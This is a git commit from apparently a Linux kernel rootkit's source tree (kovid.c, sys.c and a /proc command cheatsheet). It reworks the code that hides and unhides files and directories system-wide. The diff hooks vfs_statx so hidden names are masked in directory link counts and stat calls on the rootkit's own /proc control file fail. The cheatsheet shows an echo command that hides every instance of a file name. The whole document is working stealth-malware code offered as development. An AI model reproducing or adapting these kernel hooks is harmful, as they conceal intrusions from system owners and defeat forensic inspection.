stat: hide/unhide file/directory

A directory can be hidden with hide-file and hide-directory. Same for regular files. But suggestion is to use command names accordingly
carloslack · Dec 4, 2024 · 164efb8 · 164efb8
1 parent a0c74ed
commit 164efb8
Show file tree

Hide file tree

Showing 3 changed files with 23 additions and 30 deletions.
diff --git a/docs/cheatsheet-proc-interface.txt b/docs/cheatsheet-proc-interface.txt
@@ -54,6 +54,7 @@
 
 #13 Hide README.txt globally - hide all instances of README.txt
         # bypass #10 and #11
+        # Limitation: directories are not supported
         $ echo hide-file-anywhere=README.txt >/proc/test
 
 #14 Undo #12 - this bypass #11

diff --git a/src/kovid.c b/src/kovid.c
@@ -513,24 +513,6 @@ static ssize_t write_cb(struct file *fptr, const char __user *user,
                 }
                 break;
             case Opt_hide_file:
-                {
-                    char *s = args[0].from;
-                    struct kstat stat = {0};
-                    struct path path;
-
-                    if (fs_kern_path(s, &path) && fs_file_stat(&path, &stat)) {
-                        /** It is filename, no problem because we have path.dentry */
-                        const char *f = kstrdup(path.dentry->d_name.name, GFP_KERNEL);
-                        path_put(&path);
-                        fs_add_name_rw(f, stat.ino);
-                        kv_mem_free(&f);
-                    } else {
-                        if (*s != '.' && *s != '/') {
-                            fs_add_name_rw(s, stat.ino);
-                        }
-                    }
-                }
-                break;
             case Opt_hide_directory:
                 {
                     char *s = args[0].from;
@@ -541,29 +523,34 @@ static ssize_t write_cb(struct file *fptr, const char __user *user,
                         /** It is filename, no problem because we have path.dentry */
                         const char *f = kstrdup(path.dentry->d_name.name, GFP_KERNEL);
                         bool is_dir = ((stat.mode & S_IFMT) == S_IFDIR);
-                        u64 parent_inode = fs_get_parent_inode(&path);
-                        fs_add_name_rw_dir(f, stat.ino, parent_inode, is_dir);
+
+                        if (is_dir) {
+                            u64 parent_inode = fs_get_parent_inode(&path);
+                            fs_add_name_rw_dir(f, stat.ino, parent_inode, is_dir);
+                        } else {
+                            fs_add_name_rw(f, stat.ino);
+                        }
                         path_put(&path);
                         kv_mem_free(&f);
-                    } else {
-                        if (*s != '.' && *s != '/') {
-                            /** add with unknown inode number */
-                            fs_add_name_rw(s, stat.ino);
-                        }
+                    } else if (*s != '.' && *s != '/') {
+                        /** add with unknown inode number */
+                        fs_add_name_rw(s, stat.ino);
                     }
                 }
                 break;
+            case Opt_unhide_file:
+            case Opt_unhide_directory:
+                 fs_del_name(args[0].from);
+                break;
+                /* Currently, directories must
+                 * be added individually: use hide-directory
+                 * */
             case Opt_hide_file_anywhere:
                 fs_add_name_rw(args[0].from, 0);
                 break;
             case Opt_list_hidden_files:
                 fs_list_names();
                 break;
-
-            case Opt_unhide_file:
-            case Opt_unhide_directory:
-                 fs_del_name(args[0].from);
-                break;
             case Opt_journalclt:
                 {
                     char *cmd[] = {JOURNALCTL, "--rotate", NULL};

diff --git a/src/sys.c b/src/sys.c
@@ -1017,6 +1017,11 @@ static long m_vfs_statx(int dfd, const char __user *filename, int flags, struct
     /* call original first, I want stat */
     long rv = real_vfs_statx(dfd, filename, flags, stat, request_mask);
 
+    /** handle two distinct operations
+     *  1   If is directory, look for hidden file names
+     *      and update hard-links counter accordingly.
+     *  2   make stat fail for /proc interface.
+     * */
     if (!copy_from_user((void*)kernbuf, filename, sizeof(kernbuf)-1)) {
         if (strlen(kernbuf) > 0 && S_ISDIR(stat->mode)) {
             int count = fs_is_dir_inode_hidden((const char *)kernbuf, stat->ino);